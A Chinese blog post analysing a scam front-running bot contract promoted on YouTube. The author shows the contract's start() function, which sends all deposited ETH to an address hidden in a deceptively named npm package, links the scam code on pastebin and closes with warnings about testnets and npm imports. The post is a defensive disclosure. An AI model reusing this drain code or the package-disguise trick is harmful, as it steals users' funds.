起因
前段时间在群里看到群友发了一个油管的链接,视频内容大致就是你只需按照他的代码部署机器人的EVM合约即可躺赚收益,原理就是狙击在Uniswap在某些大额交易变成“事实”之前抢先插队在大额买入或卖出之前买入,并且在大额买入或卖出成功后立马卖出或买入完成套利。
经过
抱着怀疑态度,看了下评论(当时觉得800多条评论,不可能是假的吧),觉得卧槽牛逼,赶紧试一下。作者还为大家解惑,为什么免费分享代码,是因为想建立自己在圈子的影响力,说得跟真的一样。
代码很简单,https://pastebin.com/raw/vY4Y2c1y,就一个文件,用remix连接狐狸部署即可,然后向合约转钱,手动执行合约的函数就可以开始赚钱,教程里说转的eth越多赚的越多。
谨慎起见还是用测试网络Ropsten试一下,测试不要钱,反正从水龙头可以随便拿钱(https://faucet.metamask.io/)。
部署完毕,合约放了两个函数出来start
就是开始开始赚取收益,withdraw
就是把合约里的钱进行提现 (看似逻辑非常完美),因为合约也是你自己部署的,自己往合约上转钱。
往合约转1eth
有了,点击start
!开始赚钱!
下一刻,钱没了。看下内部转账,调用start
之后,合约内部往下面这个地址转了所有的钱。
开始百思不得其解,因为在代码全局里根本搜不到这个地址。
回来看下start
方法
1
2
3
4
5
6
7
8
9
10
function start() public payable {
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
payable(manager.DepositAddress()).transfer(address(this).balance);
}
这个manager.DepositAddress()
很有误导性,看起来是合约的管理者,但manager
这个类在代码里找不到。
花了很久很久,终于。。。发现了一个可疑的引入
在npmjs.com
一搜出来是这么个玩意,死都想不到是这个cmc的npm出了问题。真就还以为是cmc官网的api。真的太有迷惑性了。
在非常隐蔽的地方找到了这个manager类,其余代码都已注释
最终在这里返回了骗子的地址。
总结
1.凡是说只要部署合约就能赚钱的大概率是骗子,夹子机器是一个复杂的技术, 仅有合约是不能夹到交易的, 因为合约不会自动运行, 需要另外的监控脚本/程序去调用合约。
2.小白部署合约前,即使看不懂solidty代码,也应该在testnet进行测试,确保合约的安全性。
3.solidty的引入默认会从npm拉取,而npm.js上的包上传是不需要任何认证和经过安全review的,引入npm时,请确保该包是否有毒。我在上面后续发现了大量具有迷惑性名称的package来假装官方的package。
4.世界上没有不劳而获的事情,不断提高自己的认知是获的前提。